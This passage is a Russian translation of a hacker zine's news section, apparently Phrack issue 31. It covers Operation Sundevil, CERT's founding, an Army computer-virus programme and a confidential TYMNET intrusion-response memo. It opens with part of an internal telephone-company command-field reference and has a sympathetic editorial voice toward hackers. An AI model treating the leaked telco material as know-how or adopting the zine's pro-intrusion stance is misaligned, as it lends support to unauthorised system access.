     XXXXX=Максимум 5 буквенно-цифровых символов

USE  Использование объекта
     USE X
     G=Рост
     S=Стабильный

VAL  Минимальные допустимые часы для данных объекта
     VAL XX
     XX=1-99

WC   Коммутационный узел
     WC XX
     XX=Буквенно-цифровой

WL   Рабочее местоположение
     WL Y
     Y=1-8    или
     WL XXX
     ADM=Административный
     ACT=Заявка на изменение назначения
     CPC=Схемы специального обслуживания
     MCT=Заявки на техническое обслуживание

WPN  Номер рабочего пакета
     WPN XXXX
     XXXX=1-9999

WPT  Тип рабочего пакета
     WPT XXX
     XXX=Максимум 3 буквенно-цифровых символа

XN   «X»-номер
     XN XXX-YYXX  или
     XN XXX-YXX
     X=Числовой
```

```
       Y=Буквенно-цифровой

  ZN   Зональное местоположение
       ZN XXX
       XXX=001-999
```

Благодарности

• Skinny Puppy — за то, что освежил мою память
• The Urvile — за файл `$*` и дальнейшее использование echo
• Bell Laboratories OPA-1Y600-01

Поддержка TYMNET в области информационной безопасности клиентов

КОНФИДЕНЦИАЛЬНО
ПРОМЕЖУТОЧНЫЙ МЕМОРАНДУМ

ТЕМА: Поддержка TYMNET в обеспечении безопасности данных клиентов

ЦЕЛЬ: Настоящий документ содержит предысторию вопроса, а также общие процедуры и практики, применяемые при поддержке клиентов с предполагаемыми проблемами безопасности. Документ предназначен прежде всего для специалистов по работе с клиентами (Field Sales), однако носит общий характер и может оказаться полезным для других сотрудников клиентской поддержки. В настоящее время документ проходит финальную проверку. До её завершения он сохраняет статус внутреннего служебного документа.

Предыстория

BT Tymnet Inc и её подразделение Network Systems Company убеждены, что целостность информации имеет ключевое значение как для нас самих, так и для наших клиентов. Один из способов, которым TYMNET обеспечивает эту целостность, — предоставление надёжной системы безопасности. В качестве базового уровня TYMNET предлагает всем клиентам аутентификацию по имени пользователя, паролю и профилю доступа. Помимо этого, существуют два дополнительных продукта безопасности: один позволяет клиенту ограничить срок действия пароля (пароль автоматически истекает по истечении выбранного клиентом периода), другой позволяет конечному пользователю самостоятельно менять свой пароль. Поскольку безопасность является для нас приоритетным вопросом, мы продолжаем разрабатывать новые функции защиты. Кроме того, мы сотрудничаем с поставщиками решений в области безопасности для сертификации их продуктов в нашей сети, что позволяет клиентам при желании использовать подобные продукты.

Мы разработали политики Network Systems Company, формирующие основу для информации, изложенной в данном документе (см. политики NSC 121 и 122; на момент написания этого документа распространяются и дополнительные политики). Настоятельно рекомендуется ознакомиться с этими политиками, поскольку они представляют собой концептуальную основу данного документа.

Правовые аспекты — ещё один ключевой вопрос в любом инциденте, связанном с безопасностью. Поддержка, помимо предоставления клиенту соответствующих данных о безопасности, возможна лишь в случае нарушения закона. Правовые вопросы сложны, поэтому в данном документе приводится лишь минимально необходимая информация. В основе этого вопроса лежит следующий факт: пострадавшей стороной является клиент, а не TYMNET. Чтобы добиться от клиента понимания данного обстоятельства, могут потребоваться терпение и умелое общение. Клиенты должны самостоятельно обращаться за поддержкой к правоохранительным органам. TYMNET будет поддерживать эту деятельность и помогать в меру возможного — по аналогии с ролью «amicus curiae» («друга суда»).

Оказываемая поддержка

Мы предоставляем поддержку в области безопасности в качестве ответственного поставщика сетевых услуг. Первый шаг в рамках этой поддержки — специалист по работе с клиентами

выступает в роли консультанта по безопасности для клиента, по меньшей мере в объёме, описанном ниже.

Клиенту настоятельно рекомендуется заблаговременно спланировать, «что делать, когда капитан Midnight нанесёт удар» — иными словами, выработать план действий в чрезвычайных ситуациях. Прежде всего необходимо выбрать одну из двух основных стратегий:

ЗАЩИТИТЬСЯ И ПРОДОЛЖИТЬ

или

ПРЕСЛЕДОВАТЬ И ПРИВЛЕЧЬ К ОТВЕТСТВЕННОСТИ

«Защититься и продолжить» означает: 1) выяснить, каким образом произошёл инцидент, 2) устранить брешь в системе безопасности и 3) вернуться к нормальной работе.

(Следует ли нам запрашивать письменное уведомление о намерении «преследовать и привлечь к ответственности» от «пострадавшей стороны»?)

«Преследовать и привлечь к ответственности» — именно то, что подразумевает данная формулировка. Первый шаг — клиент получает юридическую поддержку, после чего и мы, и клиент продолжаем собирать доказательства вплоть до задержания подозреваемого. Следующий этап — судебное преследование. (Финальный шаг — возврат к первой стратегии: защититься и продолжить.)

Клиенту необходимо оценивать каждый случай по его конкретным обстоятельствам, однако, как правило, первый вариант является более предпочтительным. Второй вариант требует значительных усилий — прежде всего от клиента и правоохранительных органов, — может повлечь негативную огласку для клиента и не обязательно заканчивается успешным судебным преследованием.

Хорошее планирование на случай непредвиденных ситуаций также предполагает знакомство с законодательством и местными сотрудниками правоохранительных органов.

Отправной точкой является подозрение на инцидент. В данном документе мы рассмотрим случай, когда клиент идентифицировал предполагаемого злоумышленника. Как правило, это происходит в результате детального анализа клиентом счетов за использование сети или отчётов об исключениях системы безопасности на стороне хоста.

На данном этапе специалист по работе с клиентами должен незамедлительно открыть заявку (ticket), содержащую как минимум следующую информацию: 1) имя клиента и CID, 2) задействованные хосты, 3) время начала и окончания инцидента, 4) цель клиента. К заявке следует добавить любую другую информацию, которая может оказаться полезной.

Дополнительной мерой поддержки может служить трассировка вызова в режиме реального времени, если подозреваемый в данный момент находится в сети. Полевая служба поддержки должна выполнить эту трассировку; как вариант, ту же помощь можно получить, позвонив в службу поддержки клиентов сети и/или в NetCon. В любом случае это необходимо сделать, пока подозреваемый находится в сети. Данные трассировки должны быть включены в заявку.

В зависимости от позиции клиента дело будет квалифицировано как «предотвратить и продолжить» либо «преследовать и привлечь к ответственности». Первый вариант более прост: служба безопасности TYMNET исследует инцидент(ы) и предоставит клиенту через специалиста по работе с клиентами данные (как правило, имя пользователя и точку(и) входа) с рекомендациями по предотвращению дальнейших инцидентов. Мы оказываем данную услугу как ответственный поставщик, хотя строгая интерпретация политики NSC 121 этого не предусматривает. Тем не менее политика применяется, если клиент продолжает запрашивать данные, не предпринимая мер по устранению уязвимостей.

Случай «преследовать и привлечь к ответственности» является сложным и индивидуальным для каждой ситуации. Его рассмотрение будет проведено на основе типового сценария. После первого шага (описанного выше) необходимо собрать достаточно данных, чтобы продемонстрировать картину вторжений из единой точки доступа TYMNET. На основании этих данных клиент (пострадавшая сторона) должен обратиться в правоохранительные органы — за одним исключением, описанным ниже.

Если точка вторжения находится в иностранном государстве через шлюз, клиент практически лишён возможности добиться судебного преследования. Применяться будет законодательство иностранного государства, поскольку экстрадиция крайне маловероятна. Следовательно, инициировать действия должен поставщик сетевых услуг в соответствующей стране. В таком случае служба безопасности TYMNET поручит MIS исследовать детали сессии для получения сетевого идентификатора пользователя (Network User Identifier), а подразделение External Network Support (организация Джеффа Оливето) передаст эту информацию иностранной сети для принятия мер (инциденты с участием компьютеров правительства США могут рассматриваться в особом порядке — см., например, статью «Stalking the Wiley Hacker» в Communications of the ACM, май 1988 г.).

Подавляющее большинство инцидентов безопасности в нашей сети вызвано международными хакерами, использующими X.121-адресацию. Нередко клиент не осознаёт рисков, связанных с X.121-адресацией, и допускает её использование. **УБЕДИТЕСЬ, ЧТО ВАШИ КЛИЕНТЫ ЗНАЮТ: ОНИ МОГУТ ИСПОЛЬЗОВАТЬ ПОЛНЫЙ НАБОР ФУНКЦИЙ БЕЗОПАСНОСТИ TYMNET, ЧТО ИСКЛЮЧИТ ПОДОБНЫЕ ВТОРЖЕНИЯ ЧЕРЕЗ X.121-АДРЕСАЦИЮ ИЗ ИНОСТРАННЫХ СЕТЕЙ.**

В случае внутренних инцидентов (в пределах США) клиент обращается в правоохранительные органы: к Генеральному прокурору по месту входящего звонка, в Секретную службу — при наличии мошенничества с кредитными картами, или, возможно, в ФБР — в зависимости от характера инцидента. Следует отметить, что для возбуждения дела, как правило, необходимо указать сумму ущерба в денежном выражении, причём многие ведомства не рассматривают иски на незначительные суммы. Например, по состоянию на декабрь 1988 года прокуратура Лос-Анджелеса не возбуждала дела с суммой ущерба менее 10 000 долларов (ввиду чрезмерной загруженности делами с более крупным ущербом).

При наличии правовой поддержки будет получено судебное разрешение на прослушку и трассировку, что позволит установить номер телефона звонящего (данный этап может быть весьма сложным и трудоёмким для звонков дальней связи). Следующее правовое действие — после идентификации вызывающего номера. Получается ордер на обыск помещения, где находится соответствующий телефон. Как правило, обыск позволяет собрать доказательства, достаточные для судебного преследования. Типичными доказательствами являются терминальное оборудование, распечатки, дискеты и т.п. После этого, наконец, следует судебное преследование. Также следует отметить, что сразу после идентификации вызывающего номера пострадавшая сторона должна перейти к плану «защититься и продолжить».

За дополнительной информацией обращайтесь в службу Data Security, в TYMNET Validations или по адресу Ontyme NSC.SECURITY.

Операция «Sun-Devil»

Автор: Составлено Phreak_Accident

---

9 и 10 мая стали двумя днями, которые войдут в историческую летопись каждого хакера. Мы полагаем, что эти дни окажутся важными для многих — возможно, пришло время открыть глаза и увидеть охоту на ведьм, которая разворачивается прямо сейчас.

Менее чем за 48 часов 150 агентов Секретной службы и других сотрудников правоохранительных органов исполнили 30 ордеров на обыск в 14 городах по всей стране. Масштаб был огромен.

Операция «Sun-Devil» (как её назвал генеральный прокурор в Фениксе) завершилась с их точки зрения успешно. «Расследование, однако, не окончено, и ещё предстоит исполнить ряд ордеров», — заявил Джим Фолуэр из отделения Секретной службы Лос-Анджелеса.

Какие-либо подробности расследования в настоящее время не разглашаются. Помощник генерального прокурора Феникса сообщил Phrack Inc., что в ходе расследования возникли иные затруднения и что оно ведётся уже целых ДВА года.

По имеющимся сведениям, Гейл Тэкери и Секретная служба относятся к делу весьма серьёзно. Она сообщила Phrack Inc., что они не разграничивают пиратов, хакеров и фрикеров. По существу, под удар попадает любой подросток с модемом, звонящий на BBS под псевдонимом. Да, мы — ведьмы, и на нас идёт охота.

Ниже приводятся два пресс-релиза, полученных от Секретной службы США по факсу для Phrack Inc.

```
                Н О В О С Т Н О Й     Р Е Л И З
ДЛЯ НЕМЕДЛЕННОГО РАСПРОСТРАНЕНИЯ     КОНТАКТ:  Gail Thackeray
---------------------------------      Помощник генерального прокурора
9 мая 1990 г., 11:00               (602) 542-4266
```

Генеральный прокурор Боб Корбин объявил сегодня, что в рамках восемнадцатимесячного совместного расследования компьютерных преступлений, проводившегося совместно с Секретной службой США и Прокуратурой США, Канцелярия генерального прокурора Аризоны исполнила семь ордеров на обыск, в ходе которых были изъяты компьютеры, электронные доски объявлений, оборудование для тестирования телефонных линий и документация.

Расследование Отдела по борьбе с организованной преступностью и рэкетом было связано с жалобами пострадавших как из Аризоны, так и из других штатов — о значительных финансовых потерях вследствие мошенничества с кредитными картами и хищения услуг дальней телефонной связи и передачи данных, а также с жалобами жертв атак на компьютерные системы государственных органов, частных корпораций, телефонных компаний, финансовых институтов, кредитных бюро и больницы.

Канцелярия генерального прокурора Аризоны получила информацию и техническое содействие от Отдела компьютерных преступлений полиции Глендейла (Аризона), а также от многих источников в частном секторе, в том числе от Bellcore (Bell Communications Research), American Express, телекоммуникационных компаний U.S. Sprint, AT&T, MCI, Com Systems, MidAmerican Communications, LDL Communications и Shared Use Network. Без содействия этих компаний и многочисленных федеральных, региональных и местных правоохранительных органов по всей стране проведение расследования было бы невозможным.

Конфиденциальность граждан и здоровье нашей экономики зависят от надёжных и защищённых компьютерных систем. Компьютерное мошенничество и попытки взлома чувствительных государственных и частных компьютерных систем не будут терпимы. Лица, совершающие подобные преступления в Аризоне, могут рассчитывать на уголовное преследование.

П Р Е С С - Р Е Л И З

ДЛЯ НЕМЕДЛЕННОГО РАСПРОСТРАНЕНИЯ	Контакт: Wendy Harnagel
Среда, 9 мая 1990 г.	Прокуратура США
----------	(602) 379-3011

ФЕНИКС — Стивен М. Макнейми, Прокурор США по Округу Аризона, Роберт К. Корбин, Генеральный прокурор штата Аризона, и Генри Р. Потоски, исполняющий обязанности специального агента, ответственного за отделение Секретной службы США в Фениксе, сегодня объявили, что приблизительно двадцать семь ордеров на обыск были исполнены в понедельник и вторник, 7 и 8 мая 1990 года, в различных городах по всей стране 150 агентами Секретной службы совместно с региональными и местными сотрудниками правоохранительных органов. Ордера были выданы в рамках операции Sundevil — двухлетнего расследования предполагаемой незаконной хакерской деятельности.

Секретная служба США в сотрудничестве с Прокуратурой США и Генеральным прокурором штата Аризона организовала операцию с применением сложных методов расследования, нацеленную на компьютерных хакеров, которые предположительно торговали похищенными номерами кредитных карт, несанкционированными кодами дальней связи и осуществляли несанкционированный доступ к компьютерам и причиняли им ущерб. Хотя общий объём потерь в настоящее время не поддаётся исчислению, по оценкам, убытки могут исчисляться миллионами долларов. Например, несанкционированное использование карт оплаты дальней телефонной связи привело к образованию безнадёжных долгов. То же справедливо и в отношении использования похищенных номеров кредитных карт: лица получали возможность делать покупки на соответствующих счетах без последующей оплаты.

Федеральные ордера на обыск были исполнены в следующих городах:

• Chicago, IL
• Cincinatti, OH
• Detroit, MI
• Los Angeles, CA
• Miami, FL
• Newark, NJ
• New York, NY
• Phoenix, AZ
• Pittsburgh, PA
• Plano, TX
• Richmond, VA
• San Diego, CA
• San Jose, CA

Незаконный взлом компьютеров угрожает здоровью и благополучию граждан, корпораций и государственных органов США, зависящих от компьютеров и телефонов как средства связи.

Техническую и экспертную помощь Секретной службе США оказали телекоммуникационные компании: Pac Bell, AT&T, Bellcore, Bell South, MCI, U.S. Sprint, Mid-American, Southwestern Bell, NYNEX, U.S. West, а также многие пострадавшие корпорации. Все они заслуживают похвалы за усилия по расследованию вторжений и документированию потерь.

Макнейми и Корбин выразили озабоченность тем, что ненадлежащее и предположительно незаконное использование компьютеров может превратиться в «преступление белых воротничков» 1990-х годов. Макнейми и Корбин подчеркнули, что государственные и федеральные органы будут активно преследовать уголовные нарушения законодательства, находящегося в их юрисдикции. Вчера в других юрисдикциях были арестованы трое лиц по смежным или независимым региональным обвинениям. Расследования в рамках операции Sundevil продолжаются.

Расследование ведут агенты Секретной службы США, помощник прокурора США Тим Холтцен (Округ Аризона) и помощник генерального прокурора Аризоны Гейл Тэкери.

Вирусомания

Роберт Т. Моррис положил этому начало. Но что с того — дело закрыто. Тем не менее оно продолжает тиражироваться на страницах всех федеральных изданий. Это старые новости, и мы не станем их повторять, однако расскажем о том, что армия припрятала в рукаве.

Армия разыскивает несколько хороших вирусов

Рори Дж. О'Коннор, Knight-Ridder Newspapers

Армия США ищет помощников для разработки зародышей новейшей биологической войны нового типа: она хочет, чтобы бизнес помог ей превратить компьютерные «вирусы» в военное оружие.

Эксперты предсказывают, что вирусы, в случае успешной разработки, могут быть использованы для нанесения серьёзного урона всё большему числу компьютеров на поле боя. Разрушительные компьютерные программы, которые в последние четыре года всё активнее наносили ущерб коммерческим и исследовательским компьютерным системам, могут быть применены для нарушения военной связи и передачи вражеским командирам дезинформации.

Вирусы можно также использовать для изменения программирования ключевых коммуникационных спутников, обслуживающих боевые подразделения, говорят эксперты.

Армия запрашивает предложения от малого бизнеса с целью изучения возможности применения компьютерных вирусов в боевых действиях. И она готова заплатить до 550 000 долларов компании, которая разработает план создания подобных программ — и придумает, как использовать военные радиосистемы для их внедрения в компьютеры противника.

Компьютерный вирус — это разновидность программы, предназначенной для нарушения нормальной работы компьютерной системы или уничтожения данных путём их изменения или разрушения. Вредоносные программы наиболее эффективны, когда они тайно внедряются в компьютерную систему ничего не подозревающего пользователя, а наносимый ими ущерб остаётся незаметным или скрытым от пользователя на протяжении некоторого времени.

Вирусы также самовоспроизводятся и способны незаметно распространяться с заражённого компьютера на другие компьютерные системы, с которыми он контактирует.

На сегодняшний день выявлено более 60 компьютерных вирусов, большинство из которых атакуют слабо защищённые персональные компьютеры, используемые предприятиями, университетами и частными лицами. Армейский вирус должен быть более изощрённым, чем эти программы.

Однако некоторые критики самой концепции утверждают, что армия рискует столкнуться с той же проблемой, что и с биологическим оружием: создать разрушительные элементы, которые могут

вырваться на волю и причинить масштабный ущерб собственным силам, а также гражданскому населению.

«Эта штука очень опасна, и большинство людей, занятых созданием вирусов, не осознают угрозы», — заявил эксперт по вирусам из района залива Сан-Франциско, пожелавший остаться анонимным. — «Нельзя распространить сибирскую язву по всему миру и не получить её обратно. А противник использует те же компьютеры и то же программное обеспечение, что и мы».

Многие эксперты, борющиеся со взрывным ростом вирусной активности со стороны программистов-любителей, особенно возмущены усилиями правительства по разработке подобных программ для военных. Некоторые называют это особенно тревожным в свете приговора Роберту Т. Моррису-младшему (от ред.: фу-ты), осуждённому в федеральном суде за рассылку аналогичной программы через спонсируемую государством сеть в 1988 году.

«Меня беспокоит, что правительство в одном предложении говорит, что (вирусы) опасны и незаконны, а затем просит кого-то их разработать», — сказал Гленн Тенни, программист из Сан-Матео (Калифорния) и организатор ежегодной Конференции компьютерных хакеров. — «Если бы Моррис сделал то же самое для армии, ему бы заплатили за это сотни тысяч. Но он сделал это не на той стороне — и был наказан».

Специалисты в области компьютеров утверждают, что создание вируса по армейским спецификациям возможно при нынешнем уровне технологий — хотя ряд требований армии может сделать разработку труднее, чем создание обычного вируса для персонального компьютера.

Во-первых, военные компьютерные системы, как правило, проектируются со значительно большим числом средств защиты, чем коммерческие системы, что существенно затрудняет проникновение вируса. Во-вторых, армия делает акцент на использовании радиосвязи для внедрения вируса во вражеские системы. В норме компьютерные вирусы распространяются посредством обмена дискетами, содержащими вредоносную программу, или по проводам, соединяющим несколько компьютеров. Применение сложных военных радиосигналов потребовало бы экспертизы, которой большинство программистов не обладают.

RIPCO — 8 мая 1990 года

Операция Sun-Devil уничтожила не только нескольких «лордов кодов» по всей стране — она уничтожила одну из старейших и наиболее популярных досок. Никто не знает, вернется ли RIPCO когда-нибудь.

По имеющимся сведениям, Dr. Ripco был задержан по обвинению в нарушении законодательства об оружии после обыска в его доме. Phrack Inc. не может комментировать это.

Ниже приводится точная копия сообщения, оставленного на автоответчике RIPCO после операции Sun-Devil.

```
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Это 528-5020.
Как вы, вероятно, знаете, 8 мая Секретная служба провела серию обысков
по всей стране. По первым сообщениям, обыски затронули людей и компьютеры,
которые могут быть связаны с мошенничеством с кредитными картами и
межгородскими звонками. Хотя арестов и обвинений предъявлено не было,
RIPCO BBS в то утро был конфискован. Степень его причастности в настоящее
время неизвестна. Поскольку маловероятно, что система когда-либо вернётся,
я просто хочу попрощаться и поблагодарить вас за поддержку на протяжении
последних шести с половиной лет. Это было интересно, по меньшей мере.
Увидимся.
  {Dr. Ripco}
                        *** КОНЕЦ ГОЛОСОВОГО СООБЩЕНИЯ ***
```

Мировые новости Phrack

```
PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN
PWN              Phrack World News                PWN
PWN             Issue XXXI, Part Two              PWN
PWN         Compiled by Phreak_Accident           PWN
PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN
```

Автор: Phreak_Accident

{C}omputer {E}mergency {R}esponse {T}eam

Одни называют их «интернет-полицией» — другие говорят: «просто бред». Но CERT — это нечто среднее. И должен признать, они заслуживают уважения. В конце концов, поставить себе главной целью «сделать Интернет безопаснее» — задача не из лёгких. Так что — честь им и хвала.

Однако CERT финансируется DARPA — правительственным агентством. А всё, что крутится вокруг правительства, по моей личной шкале ценностей — плохая новость. Да, именно государство платит шестерым сотрудникам зарплату и держит их горячую линию в режиме 24/7.

Ну а что вообще известно о CERT? «Ничего», — скажете вы? Что ж, ниже — пресс-релиз и другие материалы об этой организации.

• -

Richard Pethia

УВАЖАЕМЫЙ XXXXXXXX,

Я просматривал наши архивы переписки и обнаружил, что ваш запрос об информации, возможно, остался без ответа. Приношу свои извинения за задержку и надеюсь, что информация всё ещё окажется для вас полезной. Если после прочтения нижеследующего у вас возникнут дополнительные вопросы или вы захотите подписаться на один из наших информационных списков, пожалуйста, отправьте письмо с вашим вопросом или запросом.

Группа компьютерного реагирования на чрезвычайные ситуации (Computer Emergency Response Team, CERT) была учреждена Агентством перспективных исследовательских проектов Министерства обороны (DARPA) в ноябре 1988 года для обслуживания участников исследовательского сообщества Интернета. Пресс-релиз ниже описывает общую роль CERT.

Более конкретно, CERT оказывает поддержку отдельным интернет-узлам посредством:

• Совместной работы с персоналом узлов для помощи в урегулировании отдельных инцидентов компьютерной безопасности. Установления контакта с потенциально затронутыми узлами с целью предупреждения о возможных угрозах безопасности. Совместной работы с узлами по устранению условий, ставших причиной инцидентов.
• Выпуска предупреждений, оповещающих сообщество о конкретных уязвимостях систем или техниках вторжения, а также о методах защиты от них.
• Совместной работы с сообществом и производителями систем (прежде всего Unix) для устранения конкретных уязвимостей.
• Поддержки и ведения модерируемых списков рассылки, которые: (1) обеспечивают площадку для обсуждения инструментов и методов повышения безопасности Unix-систем, и (2) предоставляют форум и механизм оповещения о вирусах, троянских программах и т.п. для PC.

За прошедший год мы наладили сотни рабочих контактов с членами интернет-сообщества и других сообществ, а также создали обширную сеть сбора и распространения информации. Благодаря этой сети взаимодействующих людей и организаций нам нередко удаётся предупреждать сообщество о проблемах, позволяя принять корректирующие меры ещё до того, как они успели нанести вред.

No. 597-88
(202) 695-0192 (Info.)
(202) 697-3189 (Copies)
IMMEDIATE RELEASE December 6, 1988 (202) 697-5737
(Public/Industry)

DARPA УЧРЕЖДАЕТ ГРУППУ КОМПЬЮТЕРНОГО РЕАГИРОВАНИЯ НА ЧРЕЗВЫЧАЙНЫЕ СИТУАЦИИ

Агентство перспективных исследовательских проектов Министерства обороны (DARPA) объявило сегодня о создании Группы компьютерного реагирования на чрезвычайные ситуации (CERT) для решения вопросов компьютерной безопасности исследовательских пользователей Интернета, в который входит ARPANET. Координационный центр CERT расположен в Институте программной инженерии (SEI) Университета Карнеги-Меллона в Питтсбурге, штат Пенсильвания.

Оказывая прямые услуги интернет-сообществу, CERT сосредоточится на особых потребностях исследовательского сообщества и послужит прообразом для аналогичных структур в других компьютерных сообществах. Национальный центр компьютерной безопасности и Национальный институт стандартов и технологий возьмут на себя ведущую роль в координации создания этих экстренных мероприятий по реагированию.

Деятельность CERT направлена на реагирование на угрозы компьютерной безопасности, в частности — на недавно возникшую самовоспроизводящуюся компьютерную программу («компьютерный вирус»), которая проникла во множество военных и исследовательских компьютеров.

CERT будет оказывать помощь исследовательским сетевым сообществам в реагировании на чрезвычайные ситуации. Организация будет располагать возможностями для оперативного установления контактов с экспертами, работающими над решением проблем, с затронутыми пользователями и с соответствующими государственными органами. Конкретные меры будут приниматься в соответствии с политикой DARPA.

CERT также послужит центральным узлом для исследовательского сообщества в части выявления и устранения уязвимостей безопасности, неформальной оценки существующих систем в исследовательском сообществе, совершенствования возможностей экстренного реагирования и повышения осведомлённости пользователей в вопросах безопасности. Важным элементом этой функции является формирование сети ключевых контактных лиц, включая технических экспертов, менеджеров узлов, государственных офицеров по делам, отраслевые контакты, руководителей высшего уровня и следственные органы — там, где это уместно.

Ввиду многообразия сетевых, компьютерных и системных архитектур и связанных с ними уязвимостей ни одна организация не может самостоятельно поддерживать необходимую экспертизу для реагирования на угрозы компьютерной безопасности — особенно те, что возникают в исследовательском сообществе. Как и в случае с биологическими вирусами, решение должно прийти от организованной коллективной реакции экспертов. Роль Координационного центра CERT в SEI — обеспечить поддерживающие механизмы и скоординировать деятельность экспертов в DARPA и связанных с ней сообществах.

SEI поддерживает тесные связи с Министерством обороны, оборонной и коммерческой промышленностью, а также с исследовательским сообществом. Эти связи ставят SEI в уникальное положение для обеспечения координационной поддержки специалистам по программному обеспечению в исследовательских лабораториях и в промышленности, которые будут реагировать на чрезвычайные ситуации, а также сообществам потенциально затронутых пользователей.

SEI является исследовательским и опытно-конструкторским центром с федеральным финансированием, действующим при поддержке DARPA, где исполнительным агентом выступает Командование авиационных систем ВВС (Отдел электронных систем). Его цель — ускорить переход программных технологий к военным системам. Компьютерная безопасность — это прежде всего программная проблема, и присутствие CERT в SEI усилит миссию SEI по передаче технологий в области, связанной с безопасностью.

ВОПРОСЫ И ОТВЕТЫ: DARPA УЧРЕЖДАЕТ CERT, 6 декабря 1988 года

В: Можете рассказать о предыстории предшествующих взломов?

О: 2 ноября 1988 года тысячи компьютеров, подключённых к несекретным компьютерным сетям Министерства обороны, подверглись атаке вируса. Хотя вирус не повредил и не скомпрометировал данные, он фактически лишил тысячи пользователей компьютеров доступа к ресурсам. Исследовательское сообщество в области компьютерных наук, связанное с DARPA, вместе с многочисленными другими исследовательскими лабораториями и военными объектами, использующими эти сети, быстро отреагировало на угрозу. Были разработаны механизмы для ликвидации заражения, блокирования распространения самовоспроизводящейся программы и иммунизации против последующих атак аналогичных вирусов. Специалисты по программному обеспечению из Калифорнийского университета в Беркли при важном вкладе Массачусетского технологического института и других сетевых узлов оперативно проанализировали вирус и разработали методы иммунизации. Эти же эксперты оказали важную помощь в ходе более позднего вторжения в Интернет 27-28 ноября.

По мере развития событий DARPA создал специальный оперативный центр для координации действий специалистов по программному обеспечению, работавших круглосуточно, и предоставления информации соответствующим государственным должностным лицам. Перед оперативным центром стояли три основные задачи: обеспечение коммуникации между многочисленными затронутыми группами, своевременное информирование государственных организаций о происходящем и проведение первичного технического анализа в Министерстве обороны. Хотя угрозу удалось быстро нейтрализовать, более злонамеренно спроектированный вирус мог бы нанести серьёзный ущерб.

Недавние события служат предупреждением о том, что наша неизбежно растущая зависимость от компьютеров и сетей, при всех открываемых ими важных новых возможностях, порождает и новые виды уязвимостей. Министерство обороны расценивает это как важную проблему национального масштаба, вызывающую серьёзную озабоченность как в оборонном, так и в коммерческом секторе. Министерство обороны разрабатывает технологические и политические меры реагирования, которые помогут снизить риски и обеспечить оперативное реагирование на чрезвычайные ситуации.

В: Кто войдёт в состав CERT?

О: CERT будет представлять собой команду из более чем 100 экспертов, рассредоточённых по всей территории США, чья экспертиза и знания будут задействованы по мере необходимости. В остальное время они будут продолжать свою обычную повседневную работу. Как указано в

пресс-релизе, в состав этих экспертов войдут: технические специалисты, менеджеры узлов, государственные офицеры по делам, отраслевые контакты, руководители высшего уровня и представители следственных органов. Их рекомендации будут приняты к исполнению органами Министерства обороны.

В: Уже ли CERT полностью функционирует?

О: Мы находимся на самых ранних стадиях формирования CERT. В первую очередь мы сосредоточились на привлечении технических экспертов. В SEI уже работает штат, однако детали всё ещё прорабатываются.

В: Будет ли существовать только одна CERT?

О: Предполагается, что каждое крупное компьютерное сообщество может принять решение о создании собственной CERT. Каждая CERT будет обслуживать лишь конкретное сообщество и обладать определённой технической компетенцией. (CERT DARPA/SEI будет, например, обслуживать исследовательское сообщество и специализироваться на Unix-системах, производных от Berkeley, а также других системах по мере необходимости.) Национальный центр компьютерной безопасности и Национальный институт стандартов и технологий будут поддерживать создание CERT и координировать их деятельность.

В: Каковы особые потребности исследовательского сообщества, которому их CERT будет служить?

О: Особая задача исследовательского сообщества — повысить уровень компьютерной безопасности, не сдерживая инновации в области компьютерных технологий. Кроме того, как это часто бывает с проектами DARPA, их CERT послужит прообразом для изучения концепции CERT, чтобы другие группы могли перенять опыт и создать собственные.

В: Есть ли у Координационного центра CERT контактное лицо для прессы?

О: Нет. Их функция — служить нервным центром для пользовательского сообщества.

USA Today и дьявол

Много споров вызвала статья, опубликованная в USA Today после того, как операция «Солнечный Дьявол» завершилась. Phrack Inc. пытался связаться с автором, однако безуспешно — она не принимала звонков. Напомним, это всего лишь статья из USA Today — ну что с них взять, USAT.

• -

Byline: Debbie Howlett, USA Today

Сеть компьютерных хакеров, действовавшая в 14 городах и нанёсшая телефонным компаниям ущерб в $50 миллионов, была обезврежена, сообщают в полиции.

«Мы говорим не о ком-то, кто переиграл в Space Invaders», — говорит Тим Холтцен, пресс-секретарь прокурора США в Фениксе.

Хакеры — крупнейшая подобная группировка, когда-либо раскрытая в США — взламывали компьютерные системы телефонных компаний и банков, чтобы получить номера счетов и наделать долгов на неизвестную пока сумму, сообщают в полиции.

«Главное — это информация, представляющая угрозу для жизни, к которой пытались добраться эти компьютерные хакеры», — говорит Ричард Адамс из Секретной службы. «Это выходит за рамки денежных интересов и превращается в чистое злодейство».

Группировка была раскрыта 18 месяцев назад, когда её участники попытались — и провалились — проникнуть в компьютеры неврологического института Барроу в Фениксе.

Впоследствии они попытались заблокировать входящие звонки на экстренный номер 911 в Чикаго. Мотивация? «Основная причина — своего рода злобное хобби», — говорит Гэри Чепмен из организации Computer Professionals for Social Responsibility. «Люди заинтересованы в том, чтобы проверить свои навыки на мерах безопасности». Но Адамс добавляет: «Не хочу преуменьшать это, говоря, что всё это было просто ради забавы».

Полиция изъяла 40 компьютеров и 23 000 дискет в ходе обысков во вторник в 14 городах, сообщили официальные лица в среду. Арестованы пятеро мужчин в возрасте от 19 до 24 лет.

То, что раскрыто на сегодняшний день, по словам Холтцена, может оказаться «лишь верхушкой айсберга».

[КОНЕЦ СТАТЬИ]

Comp.dcom.telecom

```
PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN
PWN              Phrack World News               PWN
PWN            Issue XXXI, Part Three            PWN
PWN         Compiled by Phreak_Accident          PWN
PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN
```

Автор: Phreak_Accident

Ниже приведены выдержки из конференции comp.dcom.telecom, посвящённые ставшим уже «печально известными» арестам Legion of Doom. Я понимаю, что большинство из вас так или иначе уже сталкивались с этими материалами, однако решил собрать их воедино для тех несчастных, у кого нет доступа к Usenet.

Я знаю, что вокруг нижеследующих материалов и арестов в целом было немало споров. С этого момента Phrack Inc. воздерживается от каких-либо комментариев по поводу этих арестов. Главным образом потому, что мы не хотим ставить под угрозу текущие расследования, касающиеся LOD и других. Оставьте это. Это уже старые новости. Пусть изложенное ниже подведёт черту — и забудьте об этом.

•----------

```
Newsgroups: comp.dcom.telecom
Subject: CBS News Special Report - "The Busting of The Mentor"
Message-ID: <4747@accuvax.nwu.edu>
Date: 5 Mar 90 06:11:49 GMT
Sender: news@accuvax.nwu.edu
Organization: Capital Area Central Texas Unix Society, Austin, TX
Lines: 37
Approved: Telecom@eecs.nwu.edu
